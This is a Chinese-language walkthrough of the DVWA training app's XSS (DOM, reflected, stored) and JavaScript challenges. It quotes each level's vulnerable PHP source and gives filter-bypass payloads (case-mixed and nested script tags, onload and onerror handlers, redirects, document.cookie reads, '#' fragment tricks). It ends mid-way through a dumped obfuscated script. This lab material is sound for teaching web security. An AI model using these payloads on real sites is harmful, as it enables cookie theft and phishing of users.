- DOM型XSS:文本对象模式xss,通过修改页面的DOM节点形成的XSS,可存储型,可反射型,只取决于输出地点。

# 3. Xss应用场景
- 利用xss获得cookie
- 重定向
- 钓鱼网站
- DDOS

Dvwa - XSS(DOM)

DOM型XSS:文本对象模式xss,通过修改页面的DOM节点形成的XSS,可存储型,可反射型,只取决于输出地点。

Level - Low

  • 代码分析
<?php

# No protections, anything goes

?>

结论:

- 可以看出没有任何过滤,直接将用户提交的GET参数name输出到页面,我们可以输入payload。在default后面拼接
<script>alert(1)</script>

wechat_20210515214059.png

Level - Medium

  • 代码分析
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
    $default = $_GET['default'];
    
    # Do not allow script tags
    if (stripos ($default, "<script") !== false) {
        header ("location: ?default=English");
        exit;
    }
}
?>

结论:

先检查了default参数是否为空,如果不为空则将default等于获取到的default值。这里还使用了stripos 用于检测default值中是否有 <script  ,如果有的话,则将 ?default=English 。

使用其中的一种方法。

既然是DOM型,这里不需要与服务端进行交互。url中有一个字符#,该字符后的数据不会发送到服务器端,从而绕过。

构造:

?#default=%22%3E%3Cscript%3Ealert(/xss/)%3C/script%3E

wechat_20210602203302.png

Level - High

  • 代码分析
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {

    # White list the allowable languages
    switch ($_GET['default']) {
        case "French":
        case "English":
        case "German":
        case "Spanish":
            # ok
            break;
        default:
            header ("location: ?default=English");
            exit;
    }
}
?>

结论:

可以发现使用了白名单的思想,只允许French,English,German以及Spanish,这里先判断defalut值是否为空,如果不为空的话,再用switch语句进行匹配,如果匹配成功,则插入case字段的相应值,如果不匹配,则插入的是默认的值。
使用上文另类方法中的#号继续绕过服务端过滤即可。

方式一:?default=English#

方式二:?#default=%22%3E%3Cscript%3Ealert(/xss/)%3C/script%3E

wechat_20210602203752.png

Level - Impossible

  • 代码分析
<?php
# Don't need to do anything, protction handled on the client side
?>

结论:

- 浏览器一般都会对url中获取的内容进行编码,防止JavaScript注入。

- 我们发现语言框内的值是我们输入的参数的经过URL编码后的数据,发现这里对我们输入的参数并没有进行URL解码,所以我们输入的任何参数都是经过URL编码,然后直接赋值给option标签。所以,这里就不存在XSS漏洞了。

Dvwa - XSS(Reflected)

反射型XSS:只是简单地把用户输入的数据反射给浏览器,简单来说,黑客往往需要去诱使用户点击一个恶意链接,才能攻击成功。

img

Level - Low

  • 代码分析
<?php

header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Feedback for end user
    echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>

结论:

可以看到没有对参数做任何防御处理措施,直接输出。故存在xss攻击漏洞

Xss 常用攻击:

# 1. 一般Xss攻击
- <body onload=alert('xss2')> 

- <a href='' onclick=alert('xss3')>click1</a> #点击click1时弹出xss3

# 2. 重定向
- <script>window.location='http://www.163.com'</script>

# 3. 获取cookie
- <script>alert(document.cookie)</script>

image-20210603235941612

image-20210604000011787

image-20210604000119141

image-20210604000142699

Level - Medium

  • 代码分析
<?php
header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = str_replace( '<script>', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}
?>

结论:

- 可以看到使用str_replace函数只对参数进行了简单的替换,过滤<script>,别的没有过滤,此时可以用大小写或者别的标签来绕过。

Xss常用攻击:

# 1. 大小写绕过
- <Script>alert('xxx')</script>

# 2. 组合过滤条件绕过
- <scr<script>ipt>alert('sss')</script>

# 3. 尝试使用别的标签来绕过
- <body onload=alert('s')>

- <a href='' onclick=alert('ss')>click</a>

- <a href='' onclick=alert(/ss/)>click</a>

image-20210604000350753

image-20210604000414008

image-20210604000533845

image-20210604000547814

image-20210604000613360

Level - High

  • 代码分析
<?php
header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}
?>

结论:

使用了preg_replace正则表达式函数,对参数进行过滤,查看源码可以看到对<script>标签进行了严格的过滤,但没有过滤别的标签,此时可以通过img、body等标签的事件或者iframe等标签的src注入恶意的js代码。

Xss常用攻击:

- <body onload=alert('s')>

- <img src="" onerror=alert('xss')>

- <a href='' onclick=alert('ss')>click</a>

- <a href='' onclick=alert(/ss/)>click</a>

image-20210604001104018

image-20210604001119617

image-20210604001131612

image-20210604001147326

Level - Impossible

  • 代码分析
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $name = htmlspecialchars( $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}
// Generate Anti-CSRF token
generateSessionToken();
?>

结论:

尝试使用 Level - Low 和 Level - Medium 和 Level - High方法对Level - Impossible进行XSS攻击。查看结果。

- Level - Impossible 使用htmlspecialchars函数对参数进行html实体转义,此时就无法利用反射XSS漏洞了。

Dvwa - XSS(Stored)

img

Level - Low

  • 代码分析
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = stripslashes( $message );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitize name input
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}
?>

结论:

- 首先对两个参数使用trim函数过滤掉两边的空格,然后$message使用mysql_real_escape_string函数转义SQL语句中的特殊字符,使用stripslashes函数过滤掉”\”,对$name参数中使用mysql_real_escape_string函数转义SQL语句中的特殊字符。

- 从上面的代码可以看到,没有防御XSS漏洞,只防御了SQL注入漏洞

Xss常用攻击:

# 1. 一般xss攻击
- <script>alert('x')</script>

- <body onload=alert('sss')>

image-20210604002613498

image-20210604002711080

# 2. 重定向
- <script>window.location=’http://www.baidu.com’</script> # 可能出现不成功的情况

Level - Medium

  • 代码分析
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = strip_tags( addslashes( $message ) );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = str_replace( '<script>', '', $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}
?>

结论:

- 看到对$message参数做了很严格的过滤(进行html实体转义以及转义SQL语句中使用的特殊字符,杜绝了对$message关于xss的利用),但对$name参数做的过滤不严格,只是替换<script>以及转义SQL语句中使用的特殊字符,可以使用别的html标签对$name参数的防护进行绕过。

Xss常用攻击:

# 1. 步骤
- 使用Burp Suite 拦截 进行参数更改,突破Name限制长度等问题。

# 2. name 替换为一下 xss代码
- <Script>alert('x')</script> # 演示

- <body onload=alert('xss')> # 不演示

- <a href='' onclick=alert('xss')>click</a> # 演示

image-20210604004039796

image-20210604003830216

image-20210604004133903

Level - High

  • 代码分析
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = strip_tags( addslashes( $message ) );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}
?>

结论:

- 可以看到相比较中级而言,高级对$nam参数多了对<script>严格的过滤,没有对别的标签做过滤,但可以通过别的html标签来进行绕过。

Xss常用攻击:

# 同理 使用 Burp Suite拦截 对name长度限制进行突破。
- <body onload=alert('xss')>

- <a href='' onclick=alert('xss')>click</a>

image-20210604004448870

Level - Impossible

  • 代码分析
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = stripslashes( $message );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = stripslashes( $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $name = htmlspecialchars( $name );

    // Update database
    $data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
    $data->bindParam( ':message', $message, PDO::PARAM_STR );
    $data->bindParam( ':name', $name, PDO::PARAM_STR );
    $data->execute();
}

// Generate Anti-CSRF token
generateSessionToken();
?>

结论:

尝试使用 Level - Low 和 Level - Medium 和 Level - High方法对Level - Impossible进行XSS攻击。查看结果。

- 分析源码可以看到,对两个参数都做了html实体转义,无法利用xss。

Dvwa - CSP Bypass(待完成)

Level - Low

Level - Medium

Level - High

Level - Impossible

Dvwa - JavaScript

参考文档:https://www.cnblogs.com/jojo-feed/p/10206443.html

参考文档:https://www.cnblogs.com/zhengna/p/12794754.html

Level - Low

  • 代码分析
<?php
$page[ 'body' ] .= <<<EOF
<script>

/*
MD5 code from here
https://github.com/blueimp/JavaScript-MD5
*/
    function rot13(inp) {
        return inp.replace(/[a-zA-Z]/g,function(c){return String.fromCharCode((c<="Z"?90:122)>=(c=c.charCodeAt(0)+13)?c:c-26);});
    }

    function generate_token() {
        var phrase = document.getElementById("phrase").value;
        document.getElementById("token").value = md5(rot13(phrase));
    }

    generate_token();
</script>
EOF;
?>

结论:

- 查看源代码: 发现输入的内容 会通过 `document.getElementById("token").value = md5(rot13(phrase));` 进行md5加密;并写入到token。

Submit the word "success" to win.

# 1. 输入ChangeMe 提示 You got the phrase wrong.

# 2. 输入success 提示 Invalid token. 说明token值不对

- 使用 浏览器的ConSole 执行 md5(rot13("ChangeMe")) 和 md5(rot13("success")) 查看两者值的区别。

wechat_20210531090613.png

# 3. 使用Burp Suite拦截
- 输入的success时,Burp Suite拦截查看token值。输入success,token值依然为ChangeMe的token值。
- 原因: 前台生成的 token和 使用 md5(rot13("ChangeMe")),和后台生产的token值不一样,后台success的token值是md5(rot13("success"))

wechat_20210531091037.png

# 4. 使用Burp Suite拦截修改token值
md5(rot13("success"))
"38581812b435834ebf84ebcc2c6424d6"

wechat_20210531091519.png

wechat_20210531090120.png

Level - Medium

  • 代码分析
function do_something(e){
    for(var t="",n=e.length-1;n>=0;n--)
        t+=e[n];return t
}
setTimeout(function(){
    do_elsesomething("XX")
},300);
function do_elsesomething(e){
    document.getElementById("token").value=do_something(e+document.getElementById("phrase").value+"XX")
}

结论:

# 方式一:
- 中级和低级的形式一样,都是求success的token值,查看源代码,发现引入了一个js来创建token
- js代码中:**do_something(e)**的含义是将一个字符串翻转,就是倒过来
- **setTimeout(function(){do_elsesomething(“XX”)},300)**的含义是每300毫秒执行一次do_elsesomething(“XX”)
- **do_elsesomething(e)**的含义是该函数调运do_something(e)函数来设置token值,其中e等于XX+phrase+XX
- 总体含义是该函数通过将phrase进行字符串拼接,及XX+phrase+XX,最后将该值设置token及将XX+phrase+XX翻转倒过来即可。
- XXsuccessXX -------> XXsseccusXX

# 方式二:
- 复制源码在js平台运行一下,console.log为输出函数

同 Level - Low 只要将success修改为XXsseccusXX即可

wechat_20210531092412.png

Level - High

  • 代码分析
<?php
$page[ 'body' ] .= <<<EOF
<script src="/vulnerabilities/javascript/source/high.js"></script>
EOF;
?>

引入一个js文件,防止查看源代码进行了混淆或者说加密。

high.js

var a=['fromCharCode','toString','replace','BeJ','\x5cw+','Lyg','SuR','(w(){\x273M\x203L\x27;q\x201l=\x273K\x203I\x203J\x20T\x27;q\x201R=1c\x202I===\x271n\x27;q\x20Y=1R?2I:{};p(Y.3N){1R=1O}q\x202L=!1R&&1c\x202M===\x271n\x27;q\x202o=!Y.2S&&1c\x202d===\x271n\x27&&2d.2Q&&2d.2Q.3S;p(2o){Y=3R}z\x20p(2L){Y=2M}q\x202G=!Y.3Q&&1c\x202g===\x271n\x27&&2g.X;q\x202s=1c\x202l===\x27w\x27&&2l.3P;q\x201y=!Y.3H&&1c\x20Z!==\x272T\x27;q\x20m=\x273G\x27.3z(\x27\x27);q\x202w=[-3y,3x,3v,3w];q\x20U=[24,16,8,0];q\x20K=[3A,3B,3F,3E,3D,3C,3T,3U,4d,4c,4b,49,4a,4e,4f,4j,4i,4h,3u,48,47,3Z,3Y,3X,3V,3W,40,41,46,45,43,42,4k,3f,38,36,39,37,34,33,2Y,31,2Z,35,3t,3n,3m,3l,3o,3p,3s,3r,3q,3k,3j,3d,3a,3c,3b,3e,3h,3g,3i,4g];q\x201E=[\x271e\x27,\x2727\x27,\x271G\x27,\x272R\x27];q\x20l=[];p(Y.2S||!1z.1K){1z.1K=w(1x){A\x204C.Q.2U.1I(1x)===\x27[1n\x201z]\x27}}p(1y&&(Y.50||!Z.1N)){Z.1N=w(1x){A\x201c\x201x===\x271n\x27&&1x.1w&&1x.1w.1J===Z}}q\x202m=w(1X,x){A\x20w(s){A\x20O\x20N(x,1d).S(s)[1X]()}};q\x202a=w(x){q\x20P=2m(\x271e\x27,x);p(2o){P=2P(P,x)}P.1T=w(){A\x20O\x20N(x)};P.S=w(s){A\x20P.1T().S(s)};1g(q\x20i=0;i<1E.W;++i){q\x20T=1E[i];P[T]=2m(T,x)}A\x20P};q\x202P=w(P,x){q\x201S=2O(\x222N(\x271S\x27)\x22);q\x201Y=2O(\x222N(\x271w\x27).1Y\x22);q\x202n=x?\x271H\x27:\x271q\x27;q\x202z=w(s){p(1c\x20s===\x272p\x27){A\x201S.2x(2n).S(s,\x274S\x27).1G(\x271e\x27)}z{p(s===2q||s===2T){1u\x20O\x201t(1l)}z\x20p(s.1J===Z){s=O\x202r(s)}}p(1z.1K(s)||Z.1N(s)||s.1J===1Y){A\x201S.2x(2n).S(O\x201Y(s)).1G(\x271e\x27)}z{A\x20P(s)}};A\x202z};q\x202k=w(1X,x){A\x20w(G,s){A\x20O\x201P(G,x,1d).S(s)[1X]()}};q\x202f=w(x){q\x20P=2k(\x271e\x27,x);P.1T=w(G){A\x20O\x201P(G,x)};P.S=w(G,s){A\x20P.1T(G).S(s)};1g(q\x20i=0;i<1E.W;++i){q\x20T=1E[i];P[T]=2k(T,x)}A\x20P};w\x20N(x,1v){p(1v){l[0]=l[16]=l[1]=l[2]=l[3]=l[4]=l[5]=l[6]=l[7]=l[8]=l[9]=l[10]=l[11]=l[12]=l[13]=l[14]=l[15]=0;k.l=l}z{k.l=[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]}p(x){k.C=4I;k.B=4H;k.E=4l;k.F=4U;k.J=4J;k.I=4K;k.H=4L;k.D=4T}z{k.C=4X;k.B=4W;k.E=4Y;k.F=4Z;k.J=4V;k.I=4O;k.H=4F;k.D=4s}k.1C=k.1A=k.L=k.2i=0;k.1U=k.1L=1O;k.2j=1d;k.x=x}N.Q.S=w(s){p(k.1U){A}q\x202h,T=1c\x20s;p(T!==\x272p\x27){p(T===\x271n\x27){p(s===2q){1u\x20O\x201t(1l)}z\x20p(1y&&s.1J===Z){s=O\x202r(s)}z\x20p(!1z.1K(s)){p(!1y||!Z.1N(s)){1u\x20O\x201t(1l)}}}z{1u\x20O\x201t(1l)}2h=1d}q\x20r,M=0,i,W=s.W,l=k.l;4t(M<W){p(k.1L){k.1L=1O;l[0]=k.1C;l[16]=l[1]=l[2]=l[3]=l[4]=l[5]=l[6]=l[7]=l[8]=l[9]=l[10]=l[11]=l[12]=l[13]=l[14]=l[15]=0}p(2h){1g(i=k.1A;M<W&&i<1k;++M){l[i>>2]|=s[M]<<U[i++&3]}}z{1g(i=k.1A;M<W&&i<1k;++M){r=s.1Q(M);p(r<R){l[i>>2]|=r<<U[i++&3]}z\x20p(r<2v){l[i>>2]|=(2t|(r>>6))<<U[i++&3];l[i>>2]|=(R|(r&V))<<U[i++&3]}z\x20p(r<2A||r>=2E){l[i>>2]|=(2D|(r>>12))<<U[i++&3];l[i>>2]|=(R|((r>>6)&V))<<U[i++&3];l[i>>2]|=(R|(r&V))<<U[i++&3]}z{r=2C+(((r&23)<<10)|(s.1Q(++M)&23));l[i>>2]|=(2X|(r>>18))<<U[i++&3];l[i>>2]|=(R|((r>>12)&V))<<U[i++&3];l[i>>2]|=(R|((r>>6)&V))<<U[i++&3];l[i>>2]|=(R|(r&V))<<U[i++&3]}}}k.2u=i;k.L+=i-k.1A;p(i>=1k){k.1C=l[16];k.1A=i-1k;k.1W();k.1L=1d}z{k.1A=i}}p(k.L>4r){k.2i+=k.L/2H<<0;k.L=k.L%2H}A\x20k};N.Q.1s=w(){p(k.1U){A}k.1U=1d;q\x20l=k.l,i=k.2u;l[16]=k.1C;l[i>>2]|=2w[i&3];k.1C=l[16];p(i>=4q){p(!k.1L){k.1W()}l[0]=k.1C;l[16]=l[1]=l[2]=l[3]=l[4]=l[5]=l[6]=l[7]=l[8]=l[9]=l[10]=l[11]=l[12]=l[13]=l[14]=l[15]=0}l[14]=k.2i<<3|k.L>>>29;l[15]=k.L<<3;k.1W()};N.Q.1W=w(){q\x20a=k.C,b=k.B,c=k.E,d=k.F,e=k.J,f=k.I,g=k.H,h=k.D,l=k.l,j,1a,1b,1j,v,1f,1h,1B,1Z,1V,1D;1g(j=16;j<1k;++j){v=l[j-15];1a=((v>>>7)|(v<<25))^((v>>>18)|(v<<14))^(v>>>3);v=l[j-2];1b=((v>>>17)|(v<<15))^((v>>>19)|(v<<13))^(v>>>10);l[j]=l[j-16]+1a+l[j-7]+1b<<0}1D=b&c;1g(j=0;j<1k;j+=4){p(k.2j){p(k.x){1B=4m;v=l[0]-4n;h=v-4o<<0;d=v+4p<<0}z{1B=4v;v=l[0]-4w;h=v-4G<<0;d=v+4D<<0}k.2j=1O}z{1a=((a>>>2)|(a<<30))^((a>>>13)|(a<<19))^((a>>>22)|(a<<10));1b=((e>>>6)|(e<<26))^((e>>>11)|(e<<21))^((e>>>25)|(e<<7));1B=a&b;1j=1B^(a&c)^1D;1h=(e&f)^(~e&g);v=h+1b+1h+K[j]+l[j];1f=1a+1j;h=d+v<<0;d=v+1f<<0}1a=((d>>>2)|(d<<30))^((d>>>13)|(d<<19))^((d>>>22)|(d<<10));1b=((h>>>6)|(h<<26))^((h>>>11)|(h<<21))^((h>>>25)|(h<<7));1Z=d&a;1j=1Z^(d&b)^1B;1h=(h&e)^(~h&f);v=g+1b+1h+K[j+1]+l[j+1];1f=1a+1j;g=c+v<<0;c=v+1f<<0;1a=((c>>>2)|(c<<30))^((c>>>13)|(c<<19))^((c>>>22)|(c<<10));1b=((g>>>6)|(g<<26))^((g>>>11)|(g<<21))^((g>>>25)|(g<<7));1V=c&d;1j=1V^(c&a)^1Z;1h=(g&h)^(~g&e);v=f+1b+1h+K[j+2]+l[j+2];1f=1a+1j;f=b+v<<0;b=v+1f<<0;1a=((b>>>2)|(b<<30))^((b>>>13)|(b<<19))^((b>>>22)|(b<<10));1b=((f>>>6)|(f<<26))^((f>>>11)|(f<<21))^((f>>>25)|(f<<7));1D=b&c;1j=1D^(b&d)^1V;1h=(f&g)^(~f&h);v=e+1b+1h+K[j+3]+l[j+3];1f=1a+1j;e=a+v<<0;a=v+1f<<0}k.C=k.C+a<<0;k.B=k.B+b<<0;k.E=k.E+c<<0;k.F=k.F+d<<0;k.J=k.J+e<<0;k.I=k.I+f<<0;k.H=k.H+g<<0;k.D=k.D+h<<0};N.Q.1e=w(){k.1s();q\x20C=k.C,B=k.B,E=k.E,F=k.F,J=k.J,I=k.I,H=k.H,D=k.D;q\x201e=m[(C>>28)&o]+m[(C>>24)&o]+m[(C>>20)&o]+m[(C>>16)&o]+m[(C>>12)&o]+m[(C>>8)&o]+m[(C>>4)&o]+m[C&o]+m[(B>>28)&o]+m[(B>>24)&o]+m[(B>>20)&o]+m[(B>>16)&o]+m[(B>>12)&o]+m[(B>>8)&o]+m[(B>>4)&o]+m[B&o]+m[(E>>28)&o]+m[(E>>24)&o]+m[(E>>20)&o]+m[(E>>16)&o]+m[(E>>12)&o]+m[(E>>8)&o]+m[(E>>4)&o]+m[E&o]+m[(F>>28)&o]+m[(F>>24)&o]+m[(F>>20)&o]+m[(F>>16)&o]+m[(F>>12)&o]+m[(F>>8)&o]+m[(F>>4)&o]+m[F&o]+m[(J>>28)&o]+m[(J>>24)&o]+m[(J>>20)&o]+m[(J>>16)&o]+m[(J>>12)&o]+m[(J>>8)&o]+m[(J>>4)&o]+m[J&o]+m[(I>>28)&o]+m[(I>>24)&o]+m[(I>>20)&o]+m[(I>>16)&o]+m[(I>>12)&o]+m[(I>>8)&o]+m[(I>>4)&o]+m[I&o]+m[(H>>28)&o]+m[(H>>24)&o]+m[(H>>20)&o]+m[(H>>16)&o]+m[(H>>12)&o]+m[(H>>8)&o]+m[(H>>4)&o]+m[H&o];p(!k.x){1e+=m[(D>>28)&o]+m[(D>>24)&o]+m[(D>>20)&o]+m[(D>>16)&o]+m[(D>>12)&o]+m[(D>>8)&o]+m[(D>>4)&o]+m[D&o]}A\x201e};N.Q.2U=N.Q.1e;N.Q.1G=w(){k.1s();q\x20C=k.C,B=k.B,E=k.E,F=k.F,J=k.J,I=k.I,H=k.H,D=k.D;q\x202b=[(C>>24)&u,(C>>16)&u,(C>>8)&u,C&u,(B>>24)&u,(B>>16)&u,(B>>8)&u,B&u,(E>>24)&u,(E>>16)&u,(E>>8)&u,E&u,(F>>24)&u,(F>>16)&u,(F>>8)&u,F&u,(J>>24)&u,(J>>16)&u,(J>>8)&u,J&u,(I>>24)&u,(I>>16)&u,(I>>8)&u,I&u,(H>>24)&u,(H>>16)&u,(H>>8)&u,H&u];p(!k.x){2b.4A((D>>24)&u,(D>>16)&u,(D>>8)&u,D&u)}A\x202b};N.Q.27=N.Q.1G;N.Q.2R=w(){k.1s();q\x201w=O\x20Z(k.x?28:32);q\x201i=O\x204x(1w);1i.1p(0,k.C);1i.1p(4,k.B);1i.1p(8,k.E);1i.1p(12,k.F);1i.1p(16,k.J);1i.1p(20,k.I);1i.1p(24,k.H);p(!k.x){1i.1p(28,k.D)}A\x201w};w\x201P(G,x,1v){q\x20i,T=1c\x20G;p(T===\x272p\x27){q\x20L=[],W=G.W,M=0,r;1g(i=0;i<W;++i){r=G.1Q(i);p(r<R){L[M++]=r}z\x20p(r<2v){L[M++]=(2t|(r>>6));L[M++]=(R|(r&V))}z\x20p(r<2A||r>=2E){L[M++]=(2D|(r>>12));L[M++]=(R|((r>>6)&V));L[M++]=(R|(r&V))}z{r=2C+(((r&23)<<10)|(G.1Q(++i)&23));L[M++]=(2X|(r>>18));L[M++]=(R|((r>>12)&V));L[M++]=(R|((r>>6)&V));L[M++]=(R|(r&V))}}G=L}z{p(T===\x271n\x27){p(G===2q){1u\x20O\x201t(1l)}z\x20p(1y&&G.1J===Z){G=O\x202r(G)}z\x20p(!1z.1K(G)){p(!1y||!Z.1N(G)){1u\x20O\x201t(1l)}}}z{1u\x20O\x201t(1l)}}p(G.W>1k){G=(O\x20N(x,1d)).S(G).27()}q\x201F=[],2e=[];1g(i=0;i<1k;++i){q\x20b=G[i]||0;1F[i]=4z^b;2e[i]=4y^b}N.1I(k,x,1v);k.S(2e);k.1F=1F;k.2c=1d;k.1v=1v}1P.Q=O\x20N();1P.Q.1s=w(){N.Q.1s.1I(k);p(k.2c){k.2c=1O;q\x202W=k.27();N.1I(k,k.x,k.1v);k.S(k.1F);k.S(2W);N.Q.1s.1I(k)}};q\x20X=2a();X.1q=X;X.1H=2a(1d);X.1q.2V=2f();X.1H.2V=2f(1d);p(2G){2g.X=X}z{Y.1q=X.1q;Y.1H=X.1H;p(2s){2l(w(){A\x20X})}}})();w\x202y(e){1g(q\x20t=\x22\x22,n=e.W-1;n>=0;n--)t+=e[n];A\x20t}w\x202J(t,y=\x224B\x22){1m.1o(\x221M\x22).1r=1q(1m.1o(\x221M\x22).1r+y)}w\x202B(e=\x224E\x22){1m.1o(\x221M\x22).1r=1q(e+1m.1o(\x221M\x22).1r)}w\x202K(a,b){1m.1o(\x221M\x22).1r=2y(1m.1o(\x222F\x22).1r)}1m.1o(\x222F\x22).1r=\x22\x22;4u(w(){2B(\x224M\x22)},4N);1m.1o(\x224P\x22).4Q(\x224R\x22,2J);2K(\x223O\x22,44);','||||||||||||||||||||this|blocks|HEX_CHARS||0x0F|if|var|code|message||0xFF|t1|function|is224||else|return|h1|h0|h7|h2|h3|key|h6|h5|h4||bytes|index|Sha256|new|method|prototype|0x80|update|type|SHIFT|0x3f|length|exports|root|ArrayBuffer|||||||||||s0|s1|typeof|true|hex|t2|for|ch|dataView|maj|64|ERROR|document|object|getElementById|setUint32|sha256|value|finalize|Error|throw|sharedMemory|buffer|obj|ARRAY_BUFFER|Array|start|ab|block|bc|OUTPUT_TYPES|oKeyPad|digest|sha224|call|constructor|isArray|hashed|token|isView|false|HmacSha256|charCodeAt|WINDOW|crypto|create|finalized|cd|hash|outputType|Buffer|da||||0x3ff||||array|||createMethod|arr|inner|process|iKeyPad|createHmacMethod|module|notString|hBytes|first|createHmacOutputMethod|define|createOutputMethod|algorithm|NODE_JS|string|null|Uint8Array|AMD|0xc0|lastByteIndex|0x800|EXTRA|createHash|do_something|nodeMethod|0xd800|token_part_2|0x10000|0xe0|0xe000|phrase|COMMON_JS|4294967296|window|token_part_3|token_part_1|WEB_WORKER|self|require|eval|nodeWrap|versions|arrayBuffer|JS_SHA256_NO_NODE_JS|undefined|toString|hmac|innerHash|0xf0|0xa2bfe8a1|0xc24b8b70||0xa81a664b||0x92722c85|0x81c2c92e|0xc76c51a3|0x53380d13|0x766a0abb|0x4d2c6dfc|0x650a7354|0x748f82ee|0x84c87814|0x78a5636f|0x682e6ff3|0x8cc70208|0x2e1b2138|0xa4506ceb|0x90befffa|0xbef9a3f7|0x5b9cca4f|0x4ed8aa4a|0x106aa070|0xf40e3585|0xd6990624|0x19a4c116|0x1e376c08|0x391c0cb3|0x34b0bcb5|0x2748774c|0xd192e819|0x0fc19dc6|32768|128|8388608|2147483648|split|0x428a2f98|0x71374491|0x59f111f1|0x3956c25b|0xe9b5dba